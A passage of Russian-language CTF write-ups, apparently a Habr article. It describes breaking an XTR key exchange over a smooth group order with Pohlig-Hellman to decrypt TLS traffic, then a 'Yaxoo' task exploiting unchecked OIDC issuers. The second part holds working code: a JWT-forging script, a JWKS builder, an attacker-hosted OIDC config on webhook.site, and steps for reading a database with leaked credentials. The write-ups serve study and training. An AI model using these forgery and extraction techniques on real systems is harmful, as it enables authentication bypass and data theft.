  3. Для каждого элемента есть обратный

  4. Выполняется (a*b)*c = a*(b*c)

Циклическая группа — это такая группа, в которой существует элемент g, степенями которого можно получить все элементы группы. Этот элемент называется генератором.

Например, умножение ненулевых чисел % 7:

G = {1, 2, 3, 4, 5, 6}

Элемент 3 является генератором:

3⁰ mod 7 = 13¹ mod 7 = 33² mod 7 = 23³ mod 7 = 63⁴ mod 7 = 43⁵ mod 7 = 5

Подгруппа — группа, которая является частью большей группы, образованная генератором, который не получает все элементы группы.

Порядок группы — количество элементов в ней.

Порядок генератора g — наименьшее q, для которого g^q = 1. Количество элементов подгруппы, образованной генератором g.

Порядок подгруппы делит порядок группы по теореме Лагранжа.

Любой элемент группы можно записать как g^x. x — показатель. Показатели цикличны по модулю q.

GF§ — Galois Field, конечное поле, на котором определены сложение, вычитание, умножение и деление по модулю p, если p — простое число. GF(p^2) — это расширенное поле, где каждый элемент можно предстваить как пары чисел из GF§: a + b*u, где u — формальный корень неприводимого квадратного многочлена, строится так, что у него нет корней в поле GF§. После операций умножения над этими числами, если появляются u высокой степени, то они сокращаются по многочлену, а a и b сокращаются % p.

GF(p) = {0,1,2}GF(p^2) = {(0,0), (1,0), (0,1), (1,1), (1,2), (2,1), (0,2), (2,0), (2,2)} или0+0u;...;2+2u

GF(p^6) — поле, каждый элемент которого состоит из 6 элементов GF§, или из 3 элементов GF(p^2), GF(p^6) = GF((p^2)^3): ((0,0), (1,1), (2,2)) Элемент записывается как:

h = A + B*v + C*v^2

где A,B,C — элементы из GF(p^2), v определяется по кубическому многочлену. или как

h = a₀ + a₁*u + b₀*v + b₁*u*v + c₀*v² + c₁*u*v²

где a0, a1, b0, b1, c0, c1 — элементы GF§

*GF(p^6) — мультипликативная группа поля — все элементы, кроме 0, операция умножения по модулю. Она циклична.

Порядок *GF(p^6) = p^6 - 1. Раскладывается на:

p^6 - 1  = (p - 1)(p + 1)(p^2 + p + 1)(p^2 - p + 1)

Последний множитель:

Phi_6(p) = p^2 - p + 1

Phi_6(x) = x^2 - x + 1 — шестой циклотомический многочлен. Поскольку Phi_6(p) делит p^6-1, внутри GF(p^6)* существует подгруппа порядка Phi_6(x). Её называют шестой циклотомической подгруппой.

В GF§ выполняется x^p = x. В расширении GF(p^3) выполняется: x -> x^p -> x^p^2 -> x^p^3=x . Операция x -> x^p называется Frobenius, или F(x).

Если рассматривать GF(p^6) как расширение над GF(p^2), используется операция:

F(x) = x -> x^(p^2)

для

h = A + B*v + C*v^2

получается три сопряженных, три значения в цикле:

h, h^(p^2), h^(p^4)

Trace, Tr(h) — это сумма значений его сопряженных:

Tr(h) = h + h^(p^2) + h^(p^4)

этот результат принадлежит GF(p^2), так как Tr(h)^(p^2) = Tr(h).

Размер trace — 44 байта (22*2). Размер h — 132 байта (22*6)

Диффи-хэллман — алгоритм согласования секретного ключа

XTR выполняет Диффи-Хеллмана в циклотомической подгруппе *G(p^6), но передает только trace элементов.

Клиент выбирает секрет a:

client public = Tr(g^a)

Сервер выбирает секрет b:

server public = Tr(g^b)

Общий секрет:

Tr(g^(ab))

Клиент получает его из Tr(g^b) и a, сервер — из Tr(g^a) и b.

Специальные XTR-рекуррентные формулы позволяют вычислять:

Tr(h^n)

зная только Tr(h) и n. В provider это делает внутренняя функция trace_pow:

trace_pow(Tr(h), n) = Tr(h^n)

Теперь мы понимаем, что же все таки такое key_share. Это trace, предстваление h в GF(p^2). Длиной 44 байта. И клиент, и сервер заранее знают Tr(g), и считают публичный Tr(g^a)=(A1, A2) и Tr(g^b)=(B1, B2) соответсвенно.

Они обмениваются этими публичными ключами и у себя считают общий секрет Tr(g^ab) длиной 44 байта.

На первый взгляд все хорошо, лишь бы у него был достаточно большой крупнейший простой множитель.

Уязвимость

q = 3 * 7 * 13 * 19 * 61 * 79 * 103^2 * 109 * 139 * 151 * 157  * 181 * 193 * 199 * 211 * 241 * 271 * 277 * 307 * 313 * 331  * 337 * 349 * 367 * 373 * 379 * 30781183 * 541097644741  * 797114506711 * 247389332406283

Самый большой делитель имеет длину только 48 бит, то есть q — гладкое.

Простым перебором решить A = g^a сложно, но если q = r1*r2*...*rn, то Pohlig-Hellman решает отдельные маленькие задачи:

a mod r1a mod r2...a mod rn

Затем ответы объединяются китайской теоремой об остатках и получаем:

a mod q

Для нашего случая:

a mod rg^a = Am = q/rg_r = g^m генерирует подгруппу порядка r1A_r = A^m = g_r^aтогда g_r^x = A_r, x прин {0,1,...,r-1}...x = a mod r

так находим остатки от деления на все множители, и объединяем, находя a.

Нам надо будет перебрать всего sqrt(247389332406283) = 15728615, это выполнимо.

Осталось чуть чуть. Нам надо как-то получить g^a и g, имея только Tr(g) и Tr(g^a).

У нас есть три сопряженных элемента, если мы построим кубическое уравнение с корнями h, h^p^2 и h^p^4, (x-h)(x-h^p^2)(x-h^p^4), то при раскрытии всех скобок получим:

x^3 - Tr(h)*x^2 + Tr(h)^p*x - 1 = 0

Подставив туда известный трейс, мы можем найти три корня, представляющие собой h, которые мы уже можем использовать для нахождения a.

Теперь у нас есть a, и мы можем сделать trace_pow(Tr(g^b),a), так как Tr(g^b) присылается сервером, и получить Tr(g^ab), которым и шифровался этот пакет.

Полная атака

Шаг 1. Из ClientHello

T_a = Tr(g^a) = 012f9f51fe1b50d0b2b8bbb31860928195a694a5e3b70058d9a0570a724bc0e55374e9fe841c1dc5ba775475

Шаг 2. Из traces.so

tr_g1 = 0x01346da6b3f76a70512ac04fc79f6145310651c454f6tr_g2 = 0x026de1ef8e20e9eba0bd96a4fa22dc328f87f0c82452Tr(g) = 01346da6b3f76a70512ac04fc79f6145310651c454f6026de1ef8e20e9eba0bd96a4fa22dc328f87f0c82452

Шаг 3. Поднимаем трейсы.

K = GF(p)[z] / (z^6+z^5+z^4+z^3+z^2+z+1)g = 419155619184477410849425191972410243956454988400599+ 1063693792213172793726847418628526464527299439779206*z+ 1023397249958495592505563846016080785679027249780902*z^2+ 64283637634869039421212930520839069036364183864951*z^3+ 170612701662456590852360518256710979389904837427884*z^4+ 283272005904203596987431150675585159404712430512814*z^5  g^a = 988689660887621972047952089206718017440191054967183+ 921484694868511901088628973895314511905336430256223*z+ 978496653708328358094484368389640687356705286741588*z^2+ 809394707057309548365746973470823683842127920926203*z^3+ 1159733101229942437840948964783667179335701387787456*z^4+ 97977510202042116335931064302959707228733526989678*z^5

Шаг 4. Pohlig-Hellman восстанавливает показатель

a_equiv = 1600264069530041134237709059089938833315027738046497806414525003179838026853094764599127101666949673408

Шаг 5. Из ServerHello берём

T_b = Tr(g^b) = 018d421aa2e6c8205e5761af45c1e475c59d2bd204b50265382a735e7234a17def1169a948f4c72248435fa4

Шаг 6. Общий секрет

trace_pow(T_b, a_equiv) = Tr(g^(ab)) = 01d8467d36b9847f9a26eb635105cd7d9da85c7053c902546d782b4b56fb0634830edec517fd04cd3aace413

Шаг 7. TLS 1.3 key schedule

Raw shared secret подаётся в HKDF-SHA384. Из него выводятся:

client handshake keyserver handshake keyclient application keyserver application key

Далее TLS records расшифровываются AES-256-GCM.

В frame 156 находится запрос с флагом:

POST /api/register HTTP/1.1Host: webContent-Type: application/jsonContent-Length: 209{"username":"ndelacroix","first_name":"Noah","last_name":"Delacroix","email":"ndelacroix@hexline.dev","password":"contributor-pw-2025","role":"author","invite":"ZN{816d7aa39c33b1712950671d48b0ea0f9aeec5f2d6}"}
ZN{816d7aa39c33b1712950671d48b0ea0f9aeec5f2d6}

Day #6 / Yaxoo!

Описание

My friend at Yaxoo claims he can be trusted to protect the company’s most valuable assets — especially its corporate flag, which is judging by the price must be made of pure gold and company secrets.

Don’t settle for a mug. Steal the flag and prove him terribly wrong!

market.yaxoo.rubikoid.me

This task was prepared by @dotrubic

Райтап от loqpa

Что вообще есть в Yaxoo

У задания оказалось три сервиса:

  • Market — магазин;

  • Cloud — запуск Python-функций;

  • IDP — аккаунты и JWT.

https://idp.yaxoo.rubikoid.me У каждого FastAPI-сервиса лежала открытая OpenAPI-спецификация:

В Market лежит очевидный таргет:

{    "id": "p11",    "slug": "yaxoo-flag",    "price_minor": 1000000000,    "employee_only": true}
Недоступный товар Yaxoo Flag

Недоступный товар Yaxoo Flag

10 миллионов рублей, у нового пользователя 10 тысяч. Плюс товар доступен лишь сотрудникам. Значит цель ясна: стать сотрудником, а затем заработать миллионы.

Cloud

Клауд сервис дает нам стандартный облычный RCE as a service посредством Функций (Yaxoo Cloud · Functions).

Стряхиваем пыль с навыков ручного программироавния и проверяем выполнение команд.

В контейнере кажется сделана минимальная песочница, sh — нет:

Изучаем файловую систему нативными методами, находим исходники:

{"message": "Hello, ['persistence', 'api', '__pycache__', 'app.py', 'config.py', 'rate_limits.py', 'py.typed', 'http.py', 'worker.py', 'domain', 'service.py', '__init__.py', 'executor.py', 'auth.py']!"}

Достаем исходники и приступаем к изучению.

Warning based auth

В auth.py нашёлся интересный код:

issuer = self._unverified_issuer(token)# ...issuer_trusted = issuer in self._trusted_issuersadmins_realm = urlsplit(issuer).path.rstrip("/") == "/admins"try:    client = await self._client_for(issuer)    claims = await client.validate_id_token(token, token_cls=YaxooIDToken)except Exception as error:    # ...    if not issuer_trusted or admins_realm:    logger.warning(        "oidc_token_validated_sensitive_issuer",        issuer=issuer,        subject=claims.sub,        issuer_trusted=issuer_trusted,        admins_realm=admins_realm,        can_access_network=claims.can_access_network,        client_id=self._client_id,    )return PrincipalIdentity(    issuer=issuer,    subject=claims.sub,    can_access_network=claims.can_access_network,)

Код знает список доверенных issuer_trusted, но никогда не проверяет его. Значит мы можем указать себя в качестве провайдера.

Если объяснить без OIDC-магии:

  1. Cloud берёт iss из ещё не проверенного JWT.

  2. Идёт по этому URL за настройками и публичным ключом.

  3. Проверяет подпись найденным ключом.

  4. Замечает, что issuer не входит в доверенный список.

  5. Пишет об этом warning в лог.

  6. Всё равно авторизует пользователя.

I am the OIDC

Подготовка

Для атаки нам понадобится собственный RSA ключ и ресурс, где мы захостим пейлоад.

Можно воспользоваться https://mkjwk.org/ , или сделать все руками:

    openssl genpkey \      -algorithm RSA \      -pkeyopt rsa_keygen_bits:2048 \      -out attacker-private.pem    openssl pkey \      -in attacker-private.pem \      -pubout \      -out attacker-public.pem
import base64import jsonfrom cryptography.hazmat.primitives import serializationdef b64url_integer(value: int) -> str:    size = (value.bit_length() + 7) // 8    raw = value.to_bytes(size, "big")    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()with open("attacker-public.pem", "rb") as source:    key = serialization.load_pem_public_key(source.read())numbers = key.public_numbers()jwks = {    "keys": [{        "kty": "RSA",        "key_ops": ["verify"],        "n": b64url_integer(numbers.n),        "e": b64url_integer(numbers.e),        "kid": "yaxoo-ctf-key",        "use": "sig",        "alg": "RS256"    }]}print(json.dumps(jwks, indent=2))

Хостинг

Хостим результаты на webhook.site:

  1. JWT.iss указывает на https://webhook.site/e517f18d-0047-403a-8d22-fd55adb28d19/.well-known/openid-configuration

Содержимое:

    {      "issuer": "https://webhook.site/e517f18d-0047-403a-8d22-fd55adb28d19/.well-known/openid-configuration",      "jwks_uri": "https://webhook.site/75e4c1eb-3246-46b0-b0dd-fa7bc54b9395",      "response_types_supported": ["id_token"],      "grant_types_supported": [],      "subject_types_supported": ["public"],      "id_token_signing_alg_values_supported": ["RS256"],      "scopes_supported": ["openid", "profile", "email"],      "claims_supported": [        "iss", "sub", "aud", "exp", "iat", "can_access_network"      ]    }
  1. jwks_uri указывает на https://webhook.site/75e4c1eb-3246-46b0-b0dd-fa7bc54b9395 Содержимое — JWKS полученный на прошлом шаге.

Генерация

Подписываем собственный JWT, даем себе доступ по сети.

# forge.pyimport timeimport jwtISSUER = "https://webhook.site/e517f18d-0047-403a-8d22-fd55adb28d19/.well-known/openid-configuration"with open("attacker-private.pem", "rb") as source:    private_key = source.read()now = int(time.time())claims = {    "iss": ISSUER,    "sub": "loqpa-network",    "aud": "yaxoo-cloud",    "email": "loqpa@example.com",    "name": "Loqpa Network",    "can_access_network": True,    "auth_time": now,    "iat": now,    "exp": now + 1800,}token = jwt.encode(    claims,    private_key,    algorithm="RS256",    headers={        "kid": "yaxoo-ctf-key",        "typ": "JWT",    },)print(token)

Сеть, PostgreSQL и флаг

Функции созданные с новым JWT запускаются с доступом к сети:

network_namespace = "--share-net" if can_access_network else "--unshare-net"

В файле cloud/config.py лежит информация о БД:

postgresql+asyncpg://yaxoo_cloud:yaxoo_cloud@localhost:5432/yaxoo_cloud

По той же схеме сработал Market:

host:     postgresdatabase: yaxoo_marketusername: yaxoo_marketpassword: yaxoo_market

asyncpg уже лежал в примонтированном virtualenv. Нужно было только вернуть его в sys.path, потому что Python запускался с -I:

import syssys.path.insert(0, "/app/.venv/lib/python3.13/site-packages")import asyncpg

Подключение показало таблицы customers, orders, products, wallets и несколько вспомогательных таблиц.

Оставалось прочитать нужную строку:

SELECT id, slug, employee_only, contentFROM productsWHERE id = 'p11';

В скрытом поле content лежало:

zn_hackquest{c0ngr4tul4t10n5_y0u_4r3_th3_sn4k13st_jwt_w1z4rd}

ссылка на оригинал статьи https://habr.com/ru/articles/1091180/